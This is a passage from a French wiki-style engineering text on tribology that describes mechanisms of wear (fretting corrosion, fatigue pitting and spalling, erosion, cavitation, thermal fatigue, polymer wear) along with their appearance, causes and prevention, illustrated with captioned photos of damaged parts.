dans l'aluminium rend ce dernier compatible avec l'acier, au point que l'on fabrique des coussinets en alliage aluminium-étain., De même, l'acier sulfinuzé frotte correctement sur l'aluminium alors que le frottement acier-aluminium est catastrophique. Pour les métaux ferreux, les structures martensitiques, perlitiques ou encore bainitiques conviennent mieux que les structures continues ferritiques ou austénitiques. Les traitements thermiques de durcissement sont favorables : trempe, cémentation, nitruration, carbonitruration ... La fonte secrète son propre manteau protecteur en graphite, mais doit être usinée correctement. Ainsi, la finition par pierrage des chemises de moteurs impose des choix difficiles : avec les outils au carbure de silicium, de minuscules arêtes tranchantes coupent le métal d'une façon très franche. Les lamelles de graphite affleurent, la qualité frottante est bonne, mais l'outil ne reste tranchant que grâce à l'usure qui amène à sa surface de nouvelles arêtes : il faut donc le reprofiler régulièrement. Les outils diamantés ont une durée bien supérieure mais leurs arêtes plus ou moins émoussées refoulent le métal plus qu'elles ne le coupent : la pression chasse le graphite et forme une couche de métal écroui. Une telle surface dite « manteau de tôle » (en allemand Blechmantel), « peau en écailles de poisson » (en anglais fishscale skin), frotte mal, surtout quand le glissement prend les écailles « à rebrousse-poil ». Elle augmente la consommation d'huile, mais reste cependant tolérable si les segments sont métallisés au molybdène. Deux surfaces à stries aléatoires perpendiculaires au sens de la marche ne peuvent frotter que par cisaillement, quelles que soient leurs structures cristallines, ce qui répartit l'usure et augmente les portées. Dans le cas contraire l'état de surface ne s'améliore pas, l'échauffement est concentré sur des zones étroites et le contact est prolongé, ce qui favorise le grippage. Les surfaces bombées, comme les dents d'engrenages, ne sont par contre jamais assez polies. L'utilisation de métaux de duretés trop voisines augmente l'aire de contact et les risques de grippage. Une haute [[w:limite d'élasticité|limite d'élasticité]], une différence de [[w:dureté|dureté]] d'au moins 100 Hv et des structures différentes limitent l'adhésion. Le matériau le plus dur doit être le mieux poli pour ne pas limer l'autre mais aussi pour limiter la déformation des aspérités. Les matériaux monophasiques grossiers résistent moins bien que les polyphasiques à grains fins. On peut faciliter le frottement par cisaillement entre les pièces avec des métaux mous déposés en faible épaisseur sur un support dur (coussinets minces), des sels métalliques apportés par traitement (sulfinuzation, phosphatation) ou des lubrifiants, surtout avec des additifs « extrême pression » formant in situ des sels organométalliques adhérents. == Usure par corrosion, usure chimique == La corrosion n'est pas directement liée aux mouvements des pièces, mais elle interagit avec le frottement. === Aspect des dégâts === Les pièces sont rongées et portent de nombreuses piqûres ou crevasses. L'usure est aggravée par les contraintes mécaniques et le frottement. La corrosion attaque de façon différentielle les constituants des matériaux polyphasiques. Elle peut par exemple éliminer le [[w:plomb|plomb]] d'un cupro-plomb, le métal est devenu alors poreux en surface au point de se désagréger. Dans une [[w:fonte|fonte]] grise elle peut détruire la [[w:perlite|perlite]] et laisser en place le [[w:graphite|graphite]] et la [[w:cémentite|cémentite]]. === Nature du phénomène === Les surfaces réagissent avec les ambiances agressives, les lubrifiants altérés ... L'attaque chimique ou électrochimique est en général d'abord rapide, puis ralentie par la formation de films plus ou moins protecteurs qui peuvent passiver les matériaux et stopper, au moins provisoirement, le processus. Le frottement peut accélérer la corrosion s'il élimine des films d'oxydes ou de sels peu résistants, inversement la corrosion peut détruire les qualités frottantes des surfaces. Les films superficiels durs peuvent améliorer la résistance à l'usure mais s'ils se détachent, ils risquent de favoriser l'abrasion. On provoque une corrosion volontaire et contrôlée avec les lubrifiants contenant des additifs « extrême pression » qui couvrent les pièces de composés mous faciles à cisailler et donnant un très faible taux d'usure : chlorures, sulfures, phosphates ... mais l'attaque chimique peut se poursuivre si ces additifs sont trop actifs ou ionisés par de l'eau de condensation. Les effets chimiques sont très importants lors de l'usure des polymères, qui sera envisagée plus loin. === Prévention === Il faut utiliser des matériaux appropriés au milieu, exempts de fissures et de porosités, éviter la formation de couples électrochimiques. Les additifs détergents avec réserve d'alcalinité sont intéressants, de même que les antioxydants (pour l'huile) et les anticorrosifs. == Corrosion de contact == Bien avant la révolution de 1789 les compagnies françaises de transport par diligence avaient remarqué la destruction des pièces frettées et des moyeux avec émission de « poudre rouge ». La première mention du phénomène dans la littérature scientifique peut être relevée en 1911 : Eden-Rose-Cunningham décrivent les dégâts qu'ils ont constaté sur les attaches des éprouvettes d'une machine d'essai des matériaux. Tomlinson, en 1927, utilise pour la première fois le terme « fretting-corrosion ». On parle aussi d'« oxydation de frottement » et en 1952 a lieu le premier symposium consacré uniquement à ce sujet. Tomlinson écrivait en 1939 : « Bien que la présence de produits d'oxydation indique qu'une action chimique accompagne le phénomène, le processus n'est certainement pas une corrosion au sens habituel du terme ». La corrosion de contact est connue sous des noms très divers : traditionnels (poudre rouge), français (corrosion-frottement, frottement-fatigue, usure induite en petits débattements) ou anglais (fretting corrosion). Le terme « corrosion de contact » est en fait mal adapté car il donne une fausse idée de la réalité ; « '''usure induite en petits débattements''' » est plus correct mais n'informe nullement sur le déroulement des dégradations. === Aspect des dégâts === Strictement limitée aux zones de contact, cette forme d'usure est propre à des mécanismes ou assemblages soumis à de petits déplacements tangentiels rapides ou à des vibrations sous forte charge. Les surfaces commencent généralement par se colorer, puis elles se creusent de cavités remplies des débris émis. On observe aussi, très souvent, des criques de fatigue. Les métaux ferreux produisent en abondance une poudre rouge ou brune d'oxyde de fer Fe<sub>2</sub>O<sub>3</sub>, sous forme de particules plates et allongées. Toutefois, le phénomène ne concerne pas seulement les aciers, ni même les métaux, il se produit aussi avec certaines matières plastiques. La corrosion de contact s'attaque particulièrement aux pièces de haute qualité : moteurs d'avions, clavetages et cannelures, manchonnages et emmanchements, roulements, mors de machines de fatigue, portées de culasse sur bâtis de moteurs ... On peut dire qu'il s'agit d'une usure « de luxe ». Elle touche aussi les lames de ressorts et les assemblages : têtes de rivets, voisinage des points de soudure, liaisons boulonnées ... Le phénomène est commun, difficile à éviter, et il ne s'arrête jamais de lui-même. {| style="border:1px solid darkgray" cellpadding="3" cellspacing="3" align="center" |+ '''Pièces endommagées par corrosion de contact''' |- valign=top |[[Image:Corrosion de contact sur un roulement de locomotive.jpg|200px|center|]] |Cette grosse bague de roulement, normalement montée serrée, s'est rompue. Dès lors, les petits mouvements de sa surface sur le tourillon ont entraîné l'apparition des premiers signes de la corrosion de contact, c'est-à-dire des zones oxydées formant autant de taches noirâtres ou rougeâtres. |- valign=top |[[Image:Corrosion de contact sur une bague de roulement.jpg|200px|center|]] |Dans les mêmes conditions (bague intérieure insuffisamment serrée), cet autre roulement voit sa surface d'appui axial attaquée par la corrosion de contact.. |- valign=top |[[Image:Corrosion de contact sur un bout d'arbre_01.jpg|200px|none|]] |La poulie que portait ce bout d'arbre en acier inoxydable n'était pas suffisamment bien immobilisée ; les vibrations ont provoqué l'attaque de la portée cylindrique et de la rainure de clavette, dont la face d'appui a fini par se rompre. L'acier inoxydable ... s'est oxydé ! |- valign=top |[[Image:Corrosion de contact sur un bout d'arbre_02.jpg|200px|none|]] |La même pièce, vue sous un autre angle. |} === Nature du phénomène === La complexité du phénomène a fait apparaître diverses théories concurrentes pour expliquer l'émission de particules et la formation d'oxydes. Rapidement, les théories de Bowden et Merchant sur l'usure adhésive amenèrent à prendre en compte la formation de jonctions au niveau des contacts des aspérités des surfaces. Ces aspérités, dénudées par la rupture des couches d'oxydes subissent des pressions et des températures très élevées ; Caubet et Amsallem ont même parlé de plasma dans la zone interfaciale. Il en résulte des microsoudures identiques à celles qui produisent le grippage, phénomène dont la corrosion de contact, au début, est toujours très proche. Le soudage par imbrication des systèmes cristallins est suivi de flexions alternées des jonctions. Des débris naissent de la rupture des microsoudures ou des joints de grains. Ecrouis, broyés, mais incapables de s'échapper, ils s'oxydent rapidement et s'agglomèrent, provoquant une abrasion de plus en plus intense contre laquelle il n'existe pas de remède miraculeux. Le coefficient de frottement baisse considérablement à cause de la poudre mais cela n'arrête nullement le désastre. Le rapport de la surface au volume des particules, augmenté par frottement, facilite l'oxydation. L'oxyde Fe<sub>2</sub>O<sub>3</sub> est formé après passage par la poudre de fer, par l'oxyde FeO instable en-dessous de 570°C ou éventuellement par FeO(OH), puis par la magnétite Fe<sub>3</sub>O<sub>4</sub> de couleur gris-bleu. Les effets mécaniques s'accompagnent d'effets chimiques complexes comme l'absorption de l'azote atmosphérique qui facilite l'amorçage des ruptures de fatigue. '''L'usure par corrosion de contact augmente linéairement avec le nombre de cycles si l'atmosphère n'est pas oxydante, sinon elle est quasi exponentielle. Peu de processus sont aussi destructeurs. Une fois qu'elle est amorcée, on ne peut que retarder la destruction par des apports massifs de lubrifiants.''' La diminution de la résistance à la fatigue des pièces, à la suite de la corrosion de contact, a été signalée dès 1911. De nombreux chercheurs ont mis en évidence l'existence de microfissures dans les zones de contact atteintes par le phénomène. Il n'est pas évident d'établir des relations de cause à effet entre la corrosion de contact et la fatigue mais il semble établi que ce sont pour une large part les mêmes conditions qui provoquent les deux phénomènes. Il est quasi certain en tous cas que la corrosion de contact multiplie les sources de fissuration à partir desquelles s'amorcent les ruptures par fatigue, et les fissures atteignent plus vite la taille critique à partir de laquelle elles deviennent dangereuses. La théorie du délaminage, introduite par Suh en 1973, apporte un autre point de vue sur l'ensemble des formes d'usure et plus particulièrement sur la corrosion de contact. Elle repose sur l'évolution des dislocations qui se produisent dans les sous-couches lors des déformations plastiques. Il en résulte la formation de fissures, surtout lorsque le matériau est affecté par la présence d'inclusions. Lorsque ces fissures se rejoignent, des particules peuvent être arrachées. Cartier, Caubet et Racine avaient fourni les bases de cette théorie en 1970. La théorie du délaminage a permis de mieux comprendre l'émission de particules plates. Moreau a montré en 1980 que dans certains tribocontacts avec frottement oscillant, les déformations plastiques pouvaient provoquer un endommagement par fatigue sans pour autant que l'on assiste à l'émission de débris et à l'apparition d'oxydes. Des pièces polies, des matériaux durs, des mouvements alternés avec microglissements, des jeux faibles, de basses températures atmosphériques, un milieu sec, de même que des pressions élevées mais insuffisantes pour empêcher le glissement, sont autant de facteurs favorisant la corrosion de contact. Cette dernière apparaît pour des glissements de l'ordre du micromètre et devient courante s'ils atteignent 0,01 mm. Il semble qu'il existe un seuil d'endommagement irréversible au-delà duquel la durée de vie des pièces est diminuée, même si l'on a réussi à empêcher la corrosion de contact. Un phénomène voisin, appelé « '''faux brinnelling''' », s'en prend aux roulements quand ils sont à l'arrêt, mais soumis à des vibrations. De petits « cratères » apparaissent au niveau des contacts des billes ou des rouleaux. Pendant la dernière guerre mondiale, lors du transport par trains de camions Chrysler, les roulements étaient profondément rongés sans que les camions aient servi ! === Prévention === Il faut éviter l'adhésion par des matériaux compatibles et en plus lutter contre l'oxydation par des revêtements de métaux mous et nobles (cuivre, argent, or, nickel, molybdène) ou des traitements (sulfinuzation, nitruration, pour l'aluminium grenaillage et oxydation anodique). Pour les métaux ferreux on doit préférer les structures martensitiques. Parmi les solutions éprouvées on note le frottement fonte sur fonte (le graphite assurant une bonne protection), les revêtements de phosphate ou de lubrifiants solides du style Molykote, ou l'acier laminé à froid sur lui-même. On utilise aussi des revêtements plastiques ou des matières plastiques inertes (P.T.F.E.) frottant sur des placages d'or ou un chromage dur. L'introduction entre les surfaces d'un troisième corps approprié peut être une solution intéressante. La lubrification retarde seulement la corrosion de contact, en diminuant l'oxydation qui transforme les débris en abrasifs. Le bisulfure de molybdène dans la graisse graphitée peut donner de bons résultats, ainsi que d'autres lubrifiants solides, des poudres d'oxydes, etc.. Choisir des huiles fluides ou des graisses inoxydables avec des savons d'aluminium, en évitant les dopes. On peut aussi chercher à diminuer les petits mouvements alternés de diverses manières : remplacement du glissement par le roulement ou par des liaisons élastiques, augmentation du jeu, tracé de pièces courtes et rigides, augmentation des pressions de contact et de l'adhérence (assemblages plus serrés), changement des fréquences propres pour éviter les résonances, dispositifs antivibratoires, immobilisation des pièces et des éléments de machines pendant le transport, etc. Une rectification est plus mauvaise qu'un usinage classique mais paradoxalement, une superfinition diminue le phénomène. == Surcontraintes == Le passage d'un curseur sur une surface engendre un ensemble complexe de contraintes, entre autres : * des tensions, immédiatement à l'arrière du curseur * des compressions sous la moitié avant du curseur, * un cisaillement maximal à une certaine profondeur. Seules les premières peuvent causer les accidents brutaux examinés ici, les secondes pouvent provoquer du fluage et les troisièmes des phénomènes de fatigue étudiés plus loin. === Aspect des dégâts === Des fissures disposées en arc de cercle comme des écailles de poisson, marquent la surface. Leur direction générale est perpendiculaire au mouvement. Elles se forment à partir de défauts superficiels, par exemple une rayure ou une inclusion, puis s'enfoncent dans le matériau, tendant à devenir parallèles à la surface. === Nature du phénomène === Les contraintes de traction accompagnant le passage d'un glisseur sont capables de fissurer la zone arrière du contact, si elles dépassent la résistance à la rupture du matériau. De telles fissures apparaissent déjà dans les contacts statiques. Ainsi, une bille d'acier pressée sur un plan en verre ne provoque aucune dégradation dans la zone centrale pourtant soumise aux plus fortes pressions mais elle cause, un peu à l'extérieur du cercle de contact, une fissuration de forme générale tronconique dont l'angle répond à la loi d'AUERBACH. La fissuration est grandement facilitée en présence d'efforts tangentiels et si ces derniers sont suffisants pour entraîner le glissement, alors on trouve toute une série de ruptures successives le long de la zone frottante. Des expériences faites avec un plan de carbure de titane sur lequel on fait frotter une bille du même matériau ont montré que la fissuration pouvait se produire sous des charges normales qui peuvent varier de 400 N (charge purement statique dans l'air) à 1 N (frottement avec un coefficient de 0,9 dans le vide ou dans un gaz inerte). Ceci remet en cause l'affirmation selon laquelle, pour résoudre des problèmes de frottement dans des conditions très sévères, il faut faire appel à des matériaux très durs. Un auteur a pu écrire, dans le même ordre d'idées, que « le frottement des céramiques est parfois l'une des méthodes les plus onéreuses pour fabriquer du sable ». Il faut donc y regardre de plus près ! Les déchirures par surtension sont bien corrélées avec les calculs de contraintes maximales de tension et les propriétés de résistance à la traction des matériaux. L'examen des surfaces indique parfois si les fissures sont apparues après un grippage ou si elles l'ont provoqué. === Prévention === Utiliser des matériaux résistants à la traction, diminuer les pressions et le frottement, éviter les contraintes résiduelles de tension dans les zones frottantes, éviter les défauts de surface. == Fluage superficiel == === Aspect des dégâts === On remarque des écoulements de matière sans grand relief et très étalés. === Nature du phénomène === Le matériau flue sous l'effet d'un état de contraintes de compression triaxiales, ce qui peut se produire même s'il est relativement fragile, comme par exemple de l'acier cémenté. === Prévention === Diminuer les pressions et le frottement, utiliser des matériaux très résistants à la compression. == Fatigue == L'usure par fatigue est lente et habituellement masquée par l'abrasion ou l'adhésion. Induite par le frottement de roulement ou de roulement avec glissement sous fortes charges répétées, on la rencontre essentiellement dans les engrenages et les roulements dont elle constitue le mode normal de destruction. Une longue phase de vieillissement précède les accidents visibles. Une pièce peut être atteinte irrémédiablement tout en gardant jusqu'au dernier moment une apparence intacte. Il existe cependant un certain nombre de manifestations extérieures qui permettent, dans certains cas, un suivi des pièces en service. === Aspect des dégâts === Il y a en fait deux sortes d'avaries distinctes : ==== - la fatigue superficielle par écrouissage ==== Elle est due aux contraintes maximales de traction ou de compression : le premier signe visible est une apparence brunie, un éclat lustré du métal et la disparition des marques d'usinage. L'incubation est assez courte, survenant même dans des contacts peu chargés, puis de petites piqûres se forment, alignées le long des aspérités initiales. L'accident typique est le pitting, ou piquage, des engrenages : le point de cisaillement maximal étant situé à la surface, des fissures se développent perpendiculairement à la direction du glissement, prenant parfois la forme d'un V pointant dans la direction du mouvement. Elles ne sont véritablement dangereuses que si le métal est apte à les propager. Des microécailles ou « pits », de quelques centièmes de mm dans la direction de la surface et en profondeur, sont émises. Les piqûres sont facilement reconnaissables à leur forme en éventail. La pointe est généralement tournée vers le pied des dents motrices et vers le sommet des dents menées, l'angle va de 60 à 120° et l'autre extrémité est toujours largement arrondie. ==== - la fatigue profonde ou écaillage ==== Après un long temps de vieillissement se produit une émission brutale de particules dont la surface atteint quelques mm2, la profondeur quelques dixièmes de mm, et dont la taille est sans rapport avec la structure du métal. L'usure s'étend par le bord des zones écaillées, découvrant progressivement les sous-couches dont l'aspect est poli. === Nature du phénomène === Les aspérités recevant des pressions cycliques se dégradent par fatigue, même lorsqu'elles sont séparées par un lubrifiant. Les pièces bombées qui reçoivent des contraintes bien plus fortes que les pièces planes s'usent beaucoup plus. L'endommagement créé par les déformations plastiques, en surface ou en profondeur selon les conditions, provoque des transformations métallurgiques (par exemple, il transforme la martensite en troostite plus fragile) et l'amorçage de fissures. Dans le cas du pitting, l'émission des microécailles est relativement rapide. Dans le cas de la fatigue profonde, amorcée à partir du point de cisaillement maximal, les défauts étalés sous la surface font que cette dernière se comporte comme un véritable placage. Lors du contact de deux corps bombés, en effet, le cisaillement est maximal à une certaine profondeur sous la surface. Dans les contacts roulants, cette zone de cisaillement profond se déplace sous la surface, créant un endommagement progressif à partir de défauts localisés ou de joints de grains. Dans un premier temps, rien ne paraît à la surface mais vient un moment où se créent des fissures normales à la surface. L'écaillage se produit alors par [[flambage]] brutal de la peau de la pièce. Les cavités ont des bords rugueux et un fond lisse qui témoigne du frottement des couches superficielles sur le substrat, avant qu'elles ne se détachent. Les détériorations par écaillage concernent au premier chef les roulements et les engrenages. Elles dépendent de nombreux paramètres : vitesse de glissement, rugosités, nature et microstructure des matériaux, duretés, contraintes de Hertz, inclusions, lubrifiant et additifs. Parfois, les contraintes dues à la flexion ou à la torsion peuvent accélérer le processus. === Prévention === Il faut avant tout diminuer les contraintes de contact par une géométrie appropriée, réduire le frottement en évitant absolument l'adhésion. On doit aussi utiliser des matériaux avec aussi peu de défauts que possible, comme les aciers dégazés ou refondus sous vide dont sont faits aujourd'hui les roulements. On choisira des traitements augmentant la dureté et engendrant des contraintes résiduelles de compression : nitruration, cémentation, trempe superficielle, par exemple. La profondeur traitée doit dépasser le point de plus fort cisaillement, sinon le remède peut être pire que le mal. === Lubrifiants et fatigue de surface === La viscosité intervient au niveau du coefficient de frottement et donc des containtes, mais bien d'autres effets sont dus à la réactivité physicochimique avec les matériaux. Voici quelques résultats obtenus lors des deux phases successives d'amor‡age et de propagation des fissures de fatigue, avec des additifs placés dans une huile minérale à tendance paraffinique. ==== - effet des additifs sur l'amorçage des fissures ==== * paraffine chlorée à 51 % de chlore : le meilleur effet est obtenu à 0,1 %, le pire vers 2 %. * phosphite de diphényle : meilleur effet bénéfique autour de 1,25 %, de plus en plus néfaste à partir de 2 %. * isobutylène soufré, polysulfure de ditertiododécyle : se comporte mieux que le précédent. Effet bénéfique à faible concentration, 0,1 %, effet néfaste maximum vers 0,25 %. Les produits chlorés ou phosphorés engendrent un phénomène proche de la corrosion à partir d'une certaine concentration, pour les produits soufrés il y a combinaison avec le matériau. ==== - effet des lubrifiants sur la propagation des fissures ==== La présence d'huile a un effet bénéfique sur la propagation des fissures en réduisant la variation des contraintes, mais elle peut aussi multiplier par 10 cette propagation à cause d'autres effets : ouverture des fissures par pression hydraulique, pollution par des produits provoquant une corrosion, eau dissoute entraînant une fragilisation par l'hydrogène, etc. Globalement, le lubrifiant accélère la propagation des fissures de fatigue, les additifs ne semblent pas agir notablement sur ce phénomène. == Erosion == === Aspects des dégâts === L'érosion est une usure abrasive particulière, causée par des impacts de particules solides contenues dans un fluide en mouvement ou par des particules liquides en milieu gazeux. Lors des chocs, il y a ébranlement du matériau de la surface et bris du système cristallin, les dégâts sont fonction de l'énergie cinétique, donc de la masse et du carré de la vitesse de la particule. L'enlèvement de matériau croît très vite avec la vitesse, comme la cinquième puissance pour les gouttes. Le comportement est très différent selon la nature du matériau. * Si ce dernier est ductile, on trouve des rides annulaires très écrouies et cassantes et la vitesse d'usure passe par un maximum pour des angles d'incidence de 20 à 30°. * S'il est très dur et fragile, on ne trouve que des craquelures et l'usure augmente continûment avec l'angle d'incidence. {| style="border:1px solid darkgray" cellpadding="3" cellspacing="3" align="center" |- valign=top |[[Image:Virole d'acier inoxydable usée par érosion.jpg|200px|center|]] |Virole d'acier inoxydable usée par érosion. Cette pièce (diamètre intérieur 110 mm, épaisseur environ 20 mm) provient d'une usine de traitement de gaz naturel. Elle porte des excavations irrégulières, assez profondes (environ 10 mm), dont la surface est polie et qui semblent avoir été taillées avec une gouge |- valign=top |[[Image:Virole d'acier inoxydable usée par érosion01.jpg|200px|center|]] |Les dégâts vus de plus près. |- valign=top |[[Image:Virole d'acier inoxydable usée par érosion02.jpg|200px|center|]] |Dans cette virole passait une conduite sous très haute pression emplie d'un fluide corrosif chargé de particules abrasives, et cette conduite s'est percée. Le résultat est ce que l'on appelle le « sifflage », c'est-à-dire la formation de petits jets très fins et bruyants. Ce sont ces petits jets, dirigés de façon aléatoire, qui ont fait le travail. <br/>La plupart des aciers inoxydables résistent à la corrosion parce qu'ils sont passivés, essentiellement par une couche solide et étanche d'oxyde de chrome. Si cet oxyde est enlevé par érosion, l'attaque se poursuit. Les deux effets ont probablement fait mieux que s'ajouter lors de ce processus d'usure très destructeur. <br/>Cette virole est le plus beau spécimen d'une collection de pièces usées de toutes sortes récupérées un peu partout depuis 35 ans. Les pièces usées, contrairement aux pièces neuves, ont des histoires à raconter, mais elles ne les livrent utilement qu'à ceux qui savent les faire parler ! |- valign=top |[[Image:Turbinenschaufel RB199.jpg|250px|center]] |Aube de turbine à gaz usée par érosion. |- |} === Nature du phénomène === L'érosion diffère de l'abrasion car elle est corrélée avec l'énergie cinétique des particules qui, frappant les surfaces à grande vitesse, créent des petits cratères par déformation plastique du matériau sous l'effet du cisaillement. La perte de matière résulte de la coupe ou des déformations alternées des aspérités formées par les impacts successifs. Quand l'angle d'impact est faible, le phénomène de coupe est important, la résistance du matériau dépend très étroitement de sa dureté. S'il est grand, l'usure est due à la déformation des surfaces et le phénomène est beaucoup plus complexe : un matériau moins dur mais plus tenace peut fort bien résister. === Prévention === La résistance est liée au paramètre <math>\frac{R^2}{2\,E}</math> qui indique la quantité d'énergie absorbée avant fissuration. On peut traiter les surfaces ou les revêtir de métaux ou alliages durs mais le mieux est d'empêcher les impacts par tous les moyens possibles. En érosion par impact comme en abrasion sous faibles contraintes, l'emploi de certaines matières plastiques ou élastomères est possible, par exemple des polyuréthannes spéciaux utilisés sous forme de revêtements. Un certain nombre de matériaux souples sont connus par leurs noms commerciaux : RILSAN ®, PEBAX ®, ABCITE ®, HYPSAR ®. Dans tous les autres cas c'est la dureté superficielle du matériau qui intervient : il faut opposer à l'abrasif une surface plus dure que lui et peu fragile. == Cavitation == La cavitation exige un mouvement relatif entre un solide et un fluide. Elle concerne en premier les organes pour fluides, pompes, hélices de bateaux ... mais aussi certains mécanismes lubrifiés : coussinets de moteurs ou engrenages, par exemple. === Aspect des dégâts === Des trous, à peu près hémisphériques, apparaissent hors de la zone frottante ou à sa limite, puis l'ensemble de la surface est rongé. La destruction, souvent catastrophique, est très rapide et très bruyante. C'est la cavitation que l'on entend lorsque l'eau « chante » dans une bouilloire. {| style="border:1px solid darkgray" cellpadding="3" cellspacing="3" align="center" |+ '''Pièces usées par cavitation''' |- valign=top |[[Image:Usure par cavitation d'un impulseur de pompe centrifuge 01.jpg|200px|center|]] |Cet impulseur de pompe centrifuge a été entièrement rongé par la cavitation. Les zones plus ou moins lisses sont celles qui frottaient sur les parois avant le démontage. On remarquera tout spécialement l'état de la rainure de clavette ... |- valign=top |[[Image:Usure par cavitation d'un impulseur de pompe centrifuge 02.jpg|200px|center|]] |Une vue de la périphérie de l'impulseur. Le métal très aminci est dangereusement coupant par endroits. Il « sonne clair » lorsqu'on le gratte avec l'ongle. |- valign=top |[[Image:Usure par cavitation d'un impulseur de pompe centrifuge 03.jpg|200px|center|]] |Toujours la périphérie du même impulseur. On remarquera en particulier les cavités qui se sont formées au raccordement des joues de la pièce et des parois spiralées internes. Dans ces zones, le métal un peu plus épais qu'ailleurs s'est refroidi plus lentement lors du moulage, son grain est plus grossier et la cavitation l'a attaqué préférentiellement. |} === Nature du phénomène === Quand la pression du fluide descend localement au-dessous d'une valeur critique (pas forcément sa tension de vapeur), des bulles se forment soudain à partir de germes : gaz dissous, microbulles, impuretés, rayures ... Quand la pression remonte, les bulles implosent, la brutale condensation de la vapeur projette les molécules du liquide sur les parois, créant une onde de choc. [[John William Strutt Rayleigh|Lord Rayleigh]] a montré que les pressions atteignent plusieurs milliers de bars. Les effets sont surtout mécaniques et les chocs successifs fatiguent les surfaces, surtout en présence de défauts. Les trous sont autant d'amorces et se creusent davantage. Pour comprendre le rôle des défauts, il suffit d'observer un verre de champagne que l'on vient de le remplir. D'abord, le gaz s'échappe de façon énergique pendant plusieurs secondes, formant une mousse qui ne tarde pas à retomber. Au bout de quelques minutes, le liquide est calmé et l'on peut apercevoir des colonnes de petites bulles montant de certains points précis de la surface du verre. Le dégazage ne se produit pas dans les zones où le verre est parfaitement lisse, mais seulement là où se trouvent d'imperceptibles défauts, rayures, microbulles, inclusions, ... Si l'on introduit maintenant dans le liquide un objet très irrégulier, par exemple un biscuit à la cuiller, l'effervescence reprend aussitôt avec vigueur. Nous disions plus haut que tout le monde a déjà entendu la cavitation. Mettons donc une casserolle d'eau sur la plaque électrique ou sur la flamme du gaz. * Dans un premier temps, des courants de convection apparaissent, l'eau chauffée au fond se dilate, monte vers la surface, pendant que l'eau des zones plus froides la remplace. * De petites bulles adhérentes se forment sur les parois, ce sont les gaz de l'air que l'eau avait dissous qui s'apprêtent à s'échapper. * Un peu plus tard, des bulles de vapeur se forment au fond de la casserolle et l'eau commence à « chanter » : en montant vers la surface, ces bulles sont refroidies par le liquide environnant et elles implosent bruyamment lorsque la vapeur qu'elles contiennent se condense de façon quasi instantanée. C'est une forme de cavitation, heureusement inoffensive. * Si la température continue à monter, les bulles ne se condensent plus, elles montent au contraire vers la surface où elles éclatent en laissant échapper la vapeur qui les constituait. L'eau bout maintenant de façon régulière. Notons que cette ébullition est facilitée, tout comme le dégazage du champagne, par la présence de défauts de surface. La théorie n'a pas encore permis de relier la cavitation aux propriétés mécaniques des matériaux. On sait par contre qu'elle est maximale à une certaine température, qui dépend du fluide : en-dessous, ce dernier ne bout pas facilement, au-dessus, l'implosion est moins violente. === Prévention === La première chose à faire est d'améliorer le tracé des pièces pour éviter autant que possible les dépressions. Il faut ensuite diminuer les « germes » : filtrer les huiles, améliorer l'état des surfaces et leur intégrité cristalline. D'après Hammit, un matériau supporte bien la cavitation si sa charge de rupture, sa limite d'élasticité, sa résilience et sa limite de fatigue sont élevées. Il doit de plus être ductile et à grain fin. La résistance dépend aussi de la capacité d'amortir les ondes de choc et nécessite une tenue minimale à la corrosion et à l'oxydation. Il y a de nombreuses exceptions. Les meilleurs matériaux sont les stellites et certains polyuréthannes non chargés (polyuréthanne prend deux « n », c'est un nom commercial). Comme pour l'érosion, on peut conseiller des matériaux souples connus par leurs noms commerciaux RILSAN ®, PEBAX ®, ABCITE ®, HYPSAR ®. On utilise aussi des rechargements au plasma avec des métaux résistants à la corrosion comme le molybdène ou les alliages à base de cobalt ou de nickel. Les contraintes résiduelles de compression, les traitements de surface de type nitruration, sulfinuzation, sont favorables. == Fatigue thermique == C'est une dégradation par alternance d'échauffements et de refroidissements, qui touche des pièces comme les cylindres de laminoirs, les matrices de forge ... mais aussi les surfaces rectifiées dans de mauvaises conditions. === Aspect des dégâts === La fissuration finale a un aspect caractéristique de mosaïque, dit de « faïençage ». Les fissures sont plus ou moins polygonales et suivent les joints de grains et s'enfoncent dans les matériaux perpendiculairement à la surface. === Nature du phénomène === Les contraintes par flash thermique font alterner très vite compressions et tractions. Les premières déforment plastiquement les surfaces, les secondes descellent les grains par cisaillement, surtout si les joints sont oxydés. Le faïençage peut exister avant ou après frottement. Les contraintes résiduelles de traction, ou les contraintes de traction provoquées par le frottement, facilitent la dégradation. === Prévention === Il faut utiliser des surfaces présentant un bon compromis entre la dureté et l'allongement à la rupture et introduire par traitement des contraintes de compression, à condition que ces dernières ne s'estompent pas dans le temps. La résistance à l'oxydation doit être bonne. Naturellement, on diminue les risques de faïençage en diminuant les chocs thermiques par tous les moyens classiques. == Usure par dissolution == === Aspect des dégâts === On constate, par exemple, une usure catastrophique d'outils de coupe utilisés dans des conditions sévères. === Nature du phénomène === Le carbure de tungstène, vers 1100°C, migre dans les copeaux de métaux ferreux et l'outil est littéralement « mangé » par le fer chaud. Le phénomène est en fait plus général : par exemple certains métaux se dissolvent dans les polymères (Belii). === Prévention === Il faut limiter l'échauffement des surfaces, en allant moins vite, en refroidissant, ... Un traitement de surface des outils peut être intéressant. Avec les métaux ferreux, on peut utiliser le carbure de titane qui ne s'y dissout pas. == Mécanismes d'usure des polymères == L'usure est plus complexe que pour les métaux en raison d'une plus grande sensibilité à la température et de la nature spécifique des matériaux, dont la structure cristalline dépend entre autres des appareils de moulage. Après <math>10^7</math> cycles les poids moléculaires des couches de surface diminuent jusqu'à 30 %, parfois la destruction du matériau forme une sorte de matière graisseuse. La structure semble d'abord se réorganiser lors du frottement, puis elle se détruit. L'interaction avec les métaux mérite une attention particulière. La dissolution de ces derniers peut être sélective : ainsi, le laiton frottant contre le polyéthylène s'enrichit superficiellement en cuivre par suite de la dissolution du zinc. L'enlèvement du métal peut former de véritables excroissances sur le polymère, ce que l'on rencontre fréquemment dans les engrenages à contact mixte. Si les produits de destruction du polymère sont des matières actives, le métal est fragilisé et l'usure s'accroît. Cet effet a été particulièrement étudié par le chercheur soviétique P.A. Rehbinder. Le coefficient de frottement dépend alors beaucoup du temps de maintien en contact et l'adhésion augmente lors des arrêts répétés. == Effet de non détérioration et avaries dues à l'hydrogène == Le Professeur russe Dmitry Garkunov vient d'être récompensé pour la découverte de l''''effet de non détérioration''' et du phénomène d''''usure accentuée par l'hydrogène''', qui ouvrent de nouvelles voies à la recherche. La médaille d'or du British Tribological Trust qu'il a reçue le 26 mars 2006 est une récompense instituée il y a 35 ans par la reine Elizabeth d'Angleterre, suite à l'intervention d'un groupe de chercheurs qui ont mis en évidence l'énorme importance des applications tribologiques dans les économies nationales. On doit au Professeur Garkunov, à l'époque de l'Union Soviétique, la publication d'un manuel de tribologie réputé. Ses découvertes ont des applications dans de nombreuses 